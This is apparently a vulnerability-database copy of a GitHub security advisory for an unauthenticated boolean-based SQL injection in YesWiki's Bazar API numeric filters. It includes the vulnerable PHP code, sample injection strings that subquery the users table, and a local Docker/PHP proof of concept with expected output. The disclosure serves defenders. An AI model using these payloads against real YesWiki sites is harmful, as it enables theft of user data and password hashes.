GHSA-QG78-VMVC-FHJW
Vulnerability from github – Published: 2026-07-09 21:00 – Updated: 2026-07-09 21:00
VLAI
Summary
YesWiki: SQL Injection possible through public Bazar entry-listing APIs via numeric `query`/`queries` filters
Details
Summary
YesWiki’s public Bazar entry-listing APIs are vulnerable to unauthenticated SQL injection in numeric query / queries filters.
For Bazar fields whose value structure is numeric, YesWiki escapes the attacker-controlled filter value but inserts it into SQL without quotes or numeric validation. An unauthenticated attacker can inject boolean SQL expressions and infer database contents from whether entries are returned.
Details
The public Bazar API reads attacker-controlled query filters from GET parameters:
// tools/bazar/controllers/ApiController.php
$vQuery = $_GET['query'] ?? $_GET['queries'] ?? null;
$vQuery = $vSearchManager->aggregateQueries(
!empty($selectedEntries) ? ['queries' => ['id_fiche' => $selectedEntries]] : [],
isset($vQuery) ? urldecode($vQuery) : ''
);
Relevant public routes include:
@Route("/api/forms/{formId}/entries/{output}/{selectedEntries}", methods={"GET"}, options={"acl":{"public"}})
@Route("/api/entries/{output}/{selectedEntries}", methods={"GET"}, options={"acl":{"public"}})
@Route("/api/entries/bazarlist", methods={"GET"}, options={"acl":{"public"}})
The query is passed into BazarListService::getEntries() and then into SearchManager::search():
// tools/bazar/services/BazarListService.php
$vLocalEntries = $vSearchManager->search(
array_merge(
$pOptions,
[
'formsIds' => $vLocalIDs,
]
),
true,
true
);
The vulnerable sink is in SearchManager::buildQueriesConditions():
// tools/bazar/services/SearchManager.php
if ($vDescriptor['_type_'] == 'number') {
if (isset($vValue) && trim($vValue) !== '') {
$vValueConditions[] = 'CAST(' . mysqli_real_escape_string($this->wiki->dblink, $this->renameJSONPathVariable($vFieldName)) . ' AS DOUBLE) ' . $vComparisonOperator . ' ' . mysqli_real_escape_string($this->wiki->dblink, $vValue);
}
}
Because numeric values are not quoted, SQL syntax remains active after escaping. For example, the following value is accepted as part of the numeric expression:
100 OR (SELECT COUNT(*) FROM yeswiki_users)>0
This produces a predicate equivalent to:
CAST(bf_age AS DOUBLE) > 100 OR (SELECT COUNT(*) FROM yeswiki_users)>0
Read ACL filtering and Bazar Guard processing do not prevent exploitation because the injected SQL expression is evaluated by the database before returned rows are post-processed.
Numeric Bazar filters are a documented/common feature. The documentation includes examples such as:
query="bf_age>18"
query="bf_age >= 20 | bf_age < 40"
Bazar numeric fields are also common through field types such as number, range, and map latitude/longitude fields.
PoC
The following local-only PoC uses the shipped SearchManager code with a minimal MariaDB fixture. It demonstrates that a true injected boolean subquery changes the returned entries, while a false subquery does not.
Run from the repository root:
set -euo pipefail; name="yeswiki-audit-db-$$"; docker run -d --rm --name "$name" -e MARIADB_ROOT_PASSWORD=auditpass -e MARIADB_ROOT_HOST='%' -e MARIADB_DATABASE=yeswiki mariadb:11.4 >/dev/null; trap 'docker rm -f "$name" >/dev/null 2>&1 || true' EXIT; until docker exec "$name" mariadb-admin ping -h127.0.0.1 -uroot -pauditpass --silent >/dev/null 2>&1; do sleep 1; done; docker run --rm -i --network "container:$name" -v "$PWD:/repo:ro" --entrypoint php phpmyadmin:5.2.1 -d error_reporting=E_ERROR -d display_errors=1 <<'PHP'
<?php
namespace YesWiki\Bazar\Service {
class EntryManager { public const TRIPLES_ENTRY_ID = 'yeswiki-entry'; }
class FormManager { public function getMany($ids) { return [1 => ['prepared' => [new \DummyNumberField()]]]; } }
}
namespace {
class DummyNumberField {
public function getPropertyName() { return 'bf_age'; }
public function getValueStructure() { return ['bf_age' => ['_mode_' => 'single', '_type_' => 'number']]; }
}
class DummyServices {
public function get($class) {
if ($class === 'YesWiki\\Bazar\\Service\\FormManager') { return new \YesWiki\Bazar\Service\FormManager(); }
if ($class === 'YesWiki\\Bazar\\Service\\EntryManager') { return new \YesWiki\Bazar\Service\EntryManager(); }
throw new \RuntimeException('Unexpected service: ' . $class);
}
}
class DummyWiki {
public $dblink;
public $services;
public function __construct($dblink) { $this->dblink = $dblink; $this->services = new DummyServices(); }
public function GetConfigValue($name, $default = null) { return $name === 'min_search_keyword_length' ? 3 : $default; }
public function UserIsAdmin() { return false; }
public function getUserName() { return 'Anonymous'; }
}
class DummyDbService {
public function getCollation(): string { return 'utf8mb4_unicode_ci'; }
public function prefixTable($tableName) { return ' yeswiki_' . $tableName . ' '; }
}
class DummyAclService { public function updateRequestWithACL() { return '1=1'; } }
require '/repo/tools/bazar/services/SearchManager.php';
$db = mysqli_connect('127.0.0.1', 'root', 'auditpass', 'yeswiki');
if (!$db) { throw new \RuntimeException(mysqli_connect_error()); }
mysqli_set_charset($db, 'utf8mb4');
foreach ([
"CREATE TABLE yeswiki_pages (id INT PRIMARY KEY AUTO_INCREMENT, tag VARCHAR(64), time DATETIME DEFAULT CURRENT_TIMESTAMP, user VARCHAR(64), owner VARCHAR(64), latest CHAR(1), comment_on VARCHAR(64), body JSON)",
"CREATE TABLE yeswiki_triples (resource VARCHAR(64), value VARCHAR(64), property VARCHAR(128))",
"CREATE TABLE yeswiki_users (name VARCHAR(64), password VARCHAR(256), email VARCHAR(191))",
"INSERT INTO yeswiki_users VALUES ('admin', 'dummy_hash_marker', 'secret@example.test')",
"INSERT INTO yeswiki_pages (tag,user,owner,latest,comment_on,body) VALUES ('EntryA','alice','alice','Y','',JSON_OBJECT('id_typeannonce','1','id_fiche','EntryA','bf_age','10')), ('EntryB','bob','bob','Y','',JSON_OBJECT('id_typeannonce','1','id_fiche','EntryB','bf_age','20'))",
"INSERT INTO yeswiki_triples VALUES ('EntryA','yeswiki-entry','http://outils-reseaux.org/_vocabulary/type'), ('EntryB','yeswiki-entry','http://outils-reseaux.org/_vocabulary/type')",
] as $sql) {
if (!mysqli_query($db, $sql)) { throw new \RuntimeException(mysqli_error($db) . " in " . $sql); }
}
$ref = new \ReflectionClass(\YesWiki\Bazar\Service\SearchManager::class);
$sm = $ref->newInstanceWithoutConstructor();
foreach (['wiki' => new DummyWiki($db), 'dbService' => new DummyDbService(), 'aclService' => new DummyAclService()] as $prop => $value) {
$rp = $ref->getProperty($prop);
$rp->setAccessible(true);
$rp->setValue($sm, $value);
}
$cases = [
'control_no_match' => 'bf_age>100',
'boolean_true_subquery' => 'bf_age>100 OR (SELECT COUNT(*) FROM yeswiki_users)>0',
'boolean_false_subquery' => 'bf_age>100 OR (SELECT COUNT(*) FROM yeswiki_users WHERE 0)>0',
];
foreach ($cases as $label => $query) {
$params = ['queries' => $query, 'formsIds' => [1]];
$sql = $sm->prepareSearchRequest($params, true, false);
$result = mysqli_query($db, $sql);
if (!$result) { throw new \RuntimeException(mysqli_error($db) . " in " . $sql); }
$tags = [];
while ($row = mysqli_fetch_assoc($result)) { $tags[] = $row['tag']; }
sort($tags);
printf("%s: %d rows [%s]\n", $label, count($tags), implode(',', $tags));
if ($label === 'boolean_true_subquery') {
echo "where_fragment=" . preg_replace('/^.* WHERE /s', '', $sql) . "\n";
}
}
}
PHP
Expected vulnerable output:
control_no_match: 0 rows []
boolean_true_subquery: 2 rows [EntryA,EntryB]
where_fragment=((CAST(bf_age AS DOUBLE) > 100 OR (SELECT COUNT(*) FROM yeswiki_users)>0)) AND 1=1
boolean_false_subquery: 0 rows []
The no-match control returns no rows. The false injected subquery also returns no rows. The true injected subquery returns rows, proving that attacker-controlled SQL is evaluated inside the numeric filter.
Impact
This is an unauthenticated SQL injection vulnerability.
An attacker can use public Bazar API endpoints as a boolean oracle to infer data accessible to the YesWiki database user. This may include user account data, password hashes, password recovery material, private wiki metadata, or other sensitive database contents.
Severity
7.5 (High)
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "yeswiki/yeswiki"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.6.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-52770"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-09T21:00:05Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\nYesWiki\u2019s public Bazar entry-listing APIs are vulnerable to unauthenticated SQL injection in numeric `query` / `queries` filters.\n\nFor Bazar fields whose value structure is numeric, YesWiki escapes the attacker-controlled filter value but inserts it into SQL without quotes or numeric validation. An unauthenticated attacker can inject boolean SQL expressions and infer database contents from whether entries are returned.\n\n### Details\nThe public Bazar API reads attacker-controlled query filters from GET parameters:\n\n```php\n// tools/bazar/controllers/ApiController.php\n$vQuery = $_GET[\u0027query\u0027] ?? $_GET[\u0027queries\u0027] ?? null;\n$vQuery = $vSearchManager-\u003eaggregateQueries(\n !empty($selectedEntries) ? [\u0027queries\u0027 =\u003e [\u0027id_fiche\u0027 =\u003e $selectedEntries]] : [],\n isset($vQuery) ? urldecode($vQuery) : \u0027\u0027\n);\n```\n\nRelevant public routes include:\n\n```php\n@Route(\"/api/forms/{formId}/entries/{output}/{selectedEntries}\", methods={\"GET\"}, options={\"acl\":{\"public\"}})\n@Route(\"/api/entries/{output}/{selectedEntries}\", methods={\"GET\"}, options={\"acl\":{\"public\"}})\n@Route(\"/api/entries/bazarlist\", methods={\"GET\"}, options={\"acl\":{\"public\"}})\n```\n\nThe query is passed into `BazarListService::getEntries()` and then into `SearchManager::search()`:\n\n```php\n// tools/bazar/services/BazarListService.php\n$vLocalEntries = $vSearchManager-\u003esearch(\n array_merge(\n $pOptions,\n [\n \u0027formsIds\u0027 =\u003e $vLocalIDs,\n ]\n ),\n true,\n true\n);\n```\n\nThe vulnerable sink is in `SearchManager::buildQueriesConditions()`:\n\n```php\n// tools/bazar/services/SearchManager.php\nif ($vDescriptor[\u0027_type_\u0027] == \u0027number\u0027) {\n if (isset($vValue) \u0026\u0026 trim($vValue) !== \u0027\u0027) {\n $vValueConditions[] = \u0027CAST(\u0027 . mysqli_real_escape_string($this-\u003ewiki-\u003edblink, $this-\u003erenameJSONPathVariable($vFieldName)) . \u0027 AS DOUBLE) \u0027 . $vComparisonOperator . \u0027 \u0027 . mysqli_real_escape_string($this-\u003ewiki-\u003edblink, $vValue);\n }\n}\n```\n\nBecause numeric values are not quoted, SQL syntax remains active after escaping. For example, the following value is accepted as part of the numeric expression:\n\n```text\n100 OR (SELECT COUNT(*) FROM yeswiki_users)\u003e0\n```\n\nThis produces a predicate equivalent to:\n\n```sql\nCAST(bf_age AS DOUBLE) \u003e 100 OR (SELECT COUNT(*) FROM yeswiki_users)\u003e0\n```\n\nRead ACL filtering and Bazar Guard processing do not prevent exploitation because the injected SQL expression is evaluated by the database before returned rows are post-processed.\n\nNumeric Bazar filters are a documented/common feature. The documentation includes examples such as:\n\n```text\nquery=\"bf_age\u003e18\"\nquery=\"bf_age \u003e= 20 | bf_age \u003c 40\"\n```\n\nBazar numeric fields are also common through field types such as `number`, `range`, and map latitude/longitude fields.\n\n### PoC\nThe following local-only PoC uses the shipped `SearchManager` code with a minimal MariaDB fixture. It demonstrates that a true injected boolean subquery changes the returned entries, while a false subquery does not.\n\nRun from the repository root:\n\n```bash\nset -euo pipefail; name=\"yeswiki-audit-db-$$\"; docker run -d --rm --name \"$name\" -e MARIADB_ROOT_PASSWORD=auditpass -e MARIADB_ROOT_HOST=\u0027%\u0027 -e MARIADB_DATABASE=yeswiki mariadb:11.4 \u003e/dev/null; trap \u0027docker rm -f \"$name\" \u003e/dev/null 2\u003e\u00261 || true\u0027 EXIT; until docker exec \"$name\" mariadb-admin ping -h127.0.0.1 -uroot -pauditpass --silent \u003e/dev/null 2\u003e\u00261; do sleep 1; done; docker run --rm -i --network \"container:$name\" -v \"$PWD:/repo:ro\" --entrypoint php phpmyadmin:5.2.1 -d error_reporting=E_ERROR -d display_errors=1 \u003c\u003c\u0027PHP\u0027\n\u003c?php\nnamespace YesWiki\\Bazar\\Service {\n class EntryManager { public const TRIPLES_ENTRY_ID = \u0027yeswiki-entry\u0027; }\n class FormManager { public function getMany($ids) { return [1 =\u003e [\u0027prepared\u0027 =\u003e [new \\DummyNumberField()]]]; } }\n}\nnamespace {\n class DummyNumberField {\n public function getPropertyName() { return \u0027bf_age\u0027; }\n public function getValueStructure() { return [\u0027bf_age\u0027 =\u003e [\u0027_mode_\u0027 =\u003e \u0027single\u0027, \u0027_type_\u0027 =\u003e \u0027number\u0027]]; }\n }\n class DummyServices {\n public function get($class) {\n if ($class === \u0027YesWiki\\\\Bazar\\\\Service\\\\FormManager\u0027) { return new \\YesWiki\\Bazar\\Service\\FormManager(); }\n if ($class === \u0027YesWiki\\\\Bazar\\\\Service\\\\EntryManager\u0027) { return new \\YesWiki\\Bazar\\Service\\EntryManager(); }\n throw new \\RuntimeException(\u0027Unexpected service: \u0027 . $class);\n }\n }\n class DummyWiki {\n public $dblink;\n public $services;\n public function __construct($dblink) { $this-\u003edblink = $dblink; $this-\u003eservices = new DummyServices(); }\n public function GetConfigValue($name, $default = null) { return $name === \u0027min_search_keyword_length\u0027 ? 3 : $default; }\n public function UserIsAdmin() { return false; }\n public function getUserName() { return \u0027Anonymous\u0027; }\n }\n class DummyDbService {\n public function getCollation(): string { return \u0027utf8mb4_unicode_ci\u0027; }\n public function prefixTable($tableName) { return \u0027 yeswiki_\u0027 . $tableName . \u0027 \u0027; }\n }\n class DummyAclService { public function updateRequestWithACL() { return \u00271=1\u0027; } }\n\n require \u0027/repo/tools/bazar/services/SearchManager.php\u0027;\n\n $db = mysqli_connect(\u0027127.0.0.1\u0027, \u0027root\u0027, \u0027auditpass\u0027, \u0027yeswiki\u0027);\n if (!$db) { throw new \\RuntimeException(mysqli_connect_error()); }\n mysqli_set_charset($db, \u0027utf8mb4\u0027);\n\n foreach ([\n \"CREATE TABLE yeswiki_pages (id INT PRIMARY KEY AUTO_INCREMENT, tag VARCHAR(64), time DATETIME DEFAULT CURRENT_TIMESTAMP, user VARCHAR(64), owner VARCHAR(64), latest CHAR(1), comment_on VARCHAR(64), body JSON)\",\n \"CREATE TABLE yeswiki_triples (resource VARCHAR(64), value VARCHAR(64), property VARCHAR(128))\",\n \"CREATE TABLE yeswiki_users (name VARCHAR(64), password VARCHAR(256), email VARCHAR(191))\",\n \"INSERT INTO yeswiki_users VALUES (\u0027admin\u0027, \u0027dummy_hash_marker\u0027, \u0027secret@example.test\u0027)\",\n \"INSERT INTO yeswiki_pages (tag,user,owner,latest,comment_on,body) VALUES (\u0027EntryA\u0027,\u0027alice\u0027,\u0027alice\u0027,\u0027Y\u0027,\u0027\u0027,JSON_OBJECT(\u0027id_typeannonce\u0027,\u00271\u0027,\u0027id_fiche\u0027,\u0027EntryA\u0027,\u0027bf_age\u0027,\u002710\u0027)), (\u0027EntryB\u0027,\u0027bob\u0027,\u0027bob\u0027,\u0027Y\u0027,\u0027\u0027,JSON_OBJECT(\u0027id_typeannonce\u0027,\u00271\u0027,\u0027id_fiche\u0027,\u0027EntryB\u0027,\u0027bf_age\u0027,\u002720\u0027))\",\n \"INSERT INTO yeswiki_triples VALUES (\u0027EntryA\u0027,\u0027yeswiki-entry\u0027,\u0027http://outils-reseaux.org/_vocabulary/type\u0027), (\u0027EntryB\u0027,\u0027yeswiki-entry\u0027,\u0027http://outils-reseaux.org/_vocabulary/type\u0027)\",\n ] as $sql) {\n if (!mysqli_query($db, $sql)) { throw new \\RuntimeException(mysqli_error($db) . \" in \" . $sql); }\n }\n\n $ref = new \\ReflectionClass(\\YesWiki\\Bazar\\Service\\SearchManager::class);\n $sm = $ref-\u003enewInstanceWithoutConstructor();\n foreach ([\u0027wiki\u0027 =\u003e new DummyWiki($db), \u0027dbService\u0027 =\u003e new DummyDbService(), \u0027aclService\u0027 =\u003e new DummyAclService()] as $prop =\u003e $value) {\n $rp = $ref-\u003egetProperty($prop);\n $rp-\u003esetAccessible(true);\n $rp-\u003esetValue($sm, $value);\n }\n\n $cases = [\n \u0027control_no_match\u0027 =\u003e \u0027bf_age\u003e100\u0027,\n \u0027boolean_true_subquery\u0027 =\u003e \u0027bf_age\u003e100 OR (SELECT COUNT(*) FROM yeswiki_users)\u003e0\u0027,\n \u0027boolean_false_subquery\u0027 =\u003e \u0027bf_age\u003e100 OR (SELECT COUNT(*) FROM yeswiki_users WHERE 0)\u003e0\u0027,\n ];\n\n foreach ($cases as $label =\u003e $query) {\n $params = [\u0027queries\u0027 =\u003e $query, \u0027formsIds\u0027 =\u003e [1]];\n $sql = $sm-\u003eprepareSearchRequest($params, true, false);\n $result = mysqli_query($db, $sql);\n if (!$result) { throw new \\RuntimeException(mysqli_error($db) . \" in \" . $sql); }\n $tags = [];\n while ($row = mysqli_fetch_assoc($result)) { $tags[] = $row[\u0027tag\u0027]; }\n sort($tags);\n printf(\"%s: %d rows [%s]\\n\", $label, count($tags), implode(\u0027,\u0027, $tags));\n if ($label === \u0027boolean_true_subquery\u0027) {\n echo \"where_fragment=\" . preg_replace(\u0027/^.* WHERE /s\u0027, \u0027\u0027, $sql) . \"\\n\";\n }\n }\n}\nPHP\n```\n\nExpected vulnerable output:\n\n```text\ncontrol_no_match: 0 rows []\nboolean_true_subquery: 2 rows [EntryA,EntryB]\nwhere_fragment=((CAST(bf_age AS DOUBLE) \u003e 100 OR (SELECT COUNT(*) FROM yeswiki_users)\u003e0)) AND 1=1\nboolean_false_subquery: 0 rows []\n```\n\nThe no-match control returns no rows. The false injected subquery also returns no rows. The true injected subquery returns rows, proving that attacker-controlled SQL is evaluated inside the numeric filter.\n\n### Impact\nThis is an unauthenticated SQL injection vulnerability.\n\nAn attacker can use public Bazar API endpoints as a boolean oracle to infer data accessible to the YesWiki database user. This may include user account data, password hashes, password recovery material, private wiki metadata, or other sensitive database contents.",
"id": "GHSA-qg78-vmvc-fhjw",
"modified": "2026-07-09T21:00:05Z",
"published": "2026-07-09T21:00:05Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/YesWiki/yeswiki/security/advisories/GHSA-qg78-vmvc-fhjw"
},
{
"type": "WEB",
"url": "https://github.com/YesWiki/yeswiki/commit/f3b0dd093a7ace47dc29a515faeb02635baceae2"
},
{
"type": "PACKAGE",
"url": "https://github.com/YesWiki/yeswiki"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "YesWiki: SQL Injection possible through public Bazar entry-listing APIs via numeric `query`/`queries` filters"
}
Loading…
Loading…
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
Loading…